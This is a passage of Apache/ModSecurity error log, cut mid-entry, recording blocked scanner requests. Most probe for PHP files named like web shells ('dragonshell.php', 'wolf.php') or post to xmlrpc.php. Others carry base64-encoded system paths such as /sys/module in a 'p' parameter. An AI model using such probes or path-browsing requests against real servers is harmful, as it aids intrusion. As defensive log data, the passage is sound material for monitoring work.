18:10:07.890975 2026] [security2:error] [pid 531155:tid 531288] [client 20.151.217.54:40212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/mg.php"] [unique_id "ai3xXymiP80klyS0Nnr1tgAAAQ0"] [Sat Jun 13 18:10:07.906295 2026] [security2:error] [pid 531797:tid 532062] [client 20.151.217.54:24033] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/asu.php"] [unique_id "ai3xX8TA7b1mZrmcA-8hnQAAAlQ"] [Sat Jun 13 18:10:07.951361 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.17:29524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:07.951662 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.17:29524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:07.990062 2026] [security2:error] [pid 531797:tid 532010] [client 172.171.3.232:37495] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/kiwkiw.php"] [unique_id "ai3xX8TA7b1mZrmcA-8hoQAAAiI"] [Sat Jun 13 18:10:08.027387 2026] [security2:error] [pid 531797:tid 531867] [remote 17.22.253.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYMTA7b1mZrmcA-8hpQACRAM"] [Sat Jun 13 18:10:08.201162 2026] [security2:error] [pid 531797:tid 531945] [remote 17.246.23.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYMTA7b1mZrmcA-8hqAACF1E"] [Sat Jun 13 18:10:08.222619 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:08.223080 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:08.362928 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:08.363312 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:08.367746 2026] [security2:error] [pid 531797:tid 532119] [client 20.151.217.54:23989] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/wolf.php"] [unique_id "ai3xYMTA7b1mZrmcA-8hsgAAAos"] [Sat Jun 13 18:10:08.497468 2026] [security2:error] [pid 531797:tid 532013] [client 172.56.168.133:48667] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xYMTA7b1mZrmcA-8htwAAAiU"] [Sat Jun 13 18:10:08.507607 2026] [security2:error] [pid 531797:tid 532013] [client 172.56.168.133:48667] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xYMTA7b1mZrmcA-8htwAAAiU"] [Sat Jun 13 18:10:08.643040 2026] [security2:error] [pid 531797:tid 532007] [client 20.151.217.54:23977] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/rum.php"] [unique_id "ai3xYMTA7b1mZrmcA-8hugAAAh8"] [Sat Jun 13 18:10:08.771428 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:08.771918 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:08.854091 2026] [security2:error] [pid 531797:tid 532027] [client 191.234.188.123:47969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/adpvxwy.php"] [unique_id "ai3xYMTA7b1mZrmcA-8hwwAAAjM"] [Sat Jun 13 18:10:08.892814 2026] [access_compat:error] [pid 531797:tid 531982] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Zhci9saWIvaXNjc2k= [Sat Jun 13 18:10:08.893250 2026] [access_compat:error] [pid 531797:tid 531982] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Zhci9saWIvaXNjc2k= [Sat Jun 13 18:10:08.935781 2026] [security2:error] [pid 531155:tid 531343] [client 20.151.217.54:40205] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/spawns.php"] [unique_id "ai3xYCmiP80klyS0Nnr1ygAAAUQ"] [Sat Jun 13 18:10:09.023827 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.72:61057] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:09.024099 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.72:61057] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:09.058257 2026] [security2:error] [pid 531155:tid 531365] [client 20.151.217.54:64102] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/cxl.php"] [unique_id "ai3xYSmiP80klyS0Nnr1zQAAAVo"] [Sat Jun 13 18:10:09.116420 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.14:40098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:09.116875 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.14:40098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:09.256923 2026] [security2:error] [pid 531797:tid 531933] [remote 17.241.219.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYcTA7b1mZrmcA-8hzwACZ0U"] [Sat Jun 13 18:10:09.332571 2026] [security2:error] [pid 531797:tid 532053] [client 172.171.3.232:35671] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/ww.php"] [unique_id "ai3xYcTA7b1mZrmcA-8h0QAAAks"] [Sat Jun 13 18:10:09.363090 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAz [Sat Jun 13 18:10:09.363551 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAz [Sat Jun 13 18:10:09.400067 2026] [security2:error] [pid 531155:tid 531294] [client 20.151.217.54:40136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/dragonshell.php"] [unique_id "ai3xYSmiP80klyS0Nnr12gAAARM"] [Sat Jun 13 18:10:09.406897 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:10:09.407196 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:10:09.711042 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.74:28372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:09.711350 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.74:28372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:09.738109 2026] [security2:error] [pid 531797:tid 532031] [client 20.151.217.54:24023] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/flox.php"] [unique_id "ai3xYcTA7b1mZrmcA-8h2wAAAjY"] [Sat Jun 13 18:10:09.831091 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.15:59605] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:09.831413 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.15:59605] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:09.871860 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:10:09.872312 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:10:09.997872 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:10:09.998342 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:10:10.149947 2026] [security2:error] [pid 531155:tid 531336] [client 191.234.188.123:63863] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ahutr.php"] [unique_id "ai3xYimiP80klyS0Nnr15gAAAT0"] [Sat Jun 13 18:10:10.185702 2026] [security2:error] [pid 531797:tid 531996] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vfprintf_variation6.phpt"] [unique_id "ai3xYsTA7b1mZrmcA-8h6gAAAhQ"] [Sat Jun 13 18:10:10.206831 2026] [security2:error] [pid 531797:tid 531938] [remote 57.141.14.19:63868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xYsTA7b1mZrmcA-8h7AACF0o"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=392&_wpnonce=8d149de2a5&add-to-cart=1255 [Sat Jun 13 18:10:10.222097 2026] [security2:error] [pid 531797:tid 531928] [remote 17.22.253.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYsTA7b1mZrmcA-8h7QAChkA"] [Sat Jun 13 18:10:10.289807 2026] [security2:error] [pid 531797:tid 531956] [remote 17.241.75.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYsTA7b1mZrmcA-8h8QACi1w"] [Sat Jun 13 18:10:10.337437 2026] [security2:error] [pid 531797:tid 531960] [remote 17.241.227.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYsTA7b1mZrmcA-8h8gACOWA"] [Sat Jun 13 18:10:10.377195 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:10:10.377643 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:10:10.443481 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:10.443931 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:10.583754 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.28:34086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:10.584217 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.28:34086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:10.883139 2026] [security2:error] [pid 531797:tid 531891] [remote 17.246.15.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xYsTA7b1mZrmcA-8iBAACbxs"] [Sat Jun 13 18:10:10.904095 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 